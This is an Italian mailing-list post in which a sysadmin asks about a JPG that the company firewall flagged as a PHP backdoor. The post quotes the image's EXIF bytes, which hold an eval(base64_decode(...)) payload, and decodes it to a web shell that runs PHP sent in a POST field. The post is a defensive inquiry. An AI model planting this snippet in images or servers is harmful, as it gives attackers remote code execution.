[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[linux_var] VIRUS JPG con codice PHP ?



Ciao,

analizzando i log del firewall aziendale ho trovato bloccato il download sul PC
di una immagine jpg (fortunatamente da un server esterno)

Profile Namedefault
Virus/BotnetPHP/Agent.VD!tr.bdr
Virus ID5380326
Referencehttp://www.fortinet.com/ve?vn=PHP%2FAgent.VD%21tr.bdr
Detection TypeVirus
Directionincoming
Quarantine SkipFile-was-not-quarantined.
FortiSandbox Checksum1552666804a9e84d3da6741fdf81d7b20206b15d46fd3e73fd9e51c6e822e706
Submitted to FortiSandboxfalse
MessageFile is infected.

Questo è il contenuto iniziale della jpg aperta in modo brutale con vim:

ÿØÿà^@^PJFIF^@^A^A^A^@H^@H^@^@ÿá^@¡Exif^@^@II*^@^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e
^@eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));^@ÿÛ^@C^@^E^C^D^D^D^C^E^D^D

il base64_decode diventa:

   if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

senz'altro pericoloso se dentro un file php sul server
ma dentro una jpg ?

Non mi pare che lo scarico di quella immagine su di un PC (windows) possa portare alcun pericolo,
semmai il suo upload su di un server, che però dovrebbe "eseguire" del codice php dentro una immagine jpg ?!?!?!

Qualcuno conosce il problema e mi può dare + informazioni ?
Grazie,
Giovanni

--
-----------------------------------------------------------------------------------------
Luca 18,5 : "Poiché questa vedova è così molesta le farò giustizia, perché non venga continuamente a importunarmi".
Neemia 8,10 : "...questo giorno è consacrato al nostro Signore; non siate tristi; perché la gioia del Signore è la vostra forza".
GSM 345.6050488 / 327.0547392 / 392.0698126 - Fax 06.62204735
_______________________________________________
Talking mailing list
Talking@ml.linuxvar.it
http://ml.linuxvar.it/cgi-bin/mailman/listinfo/talking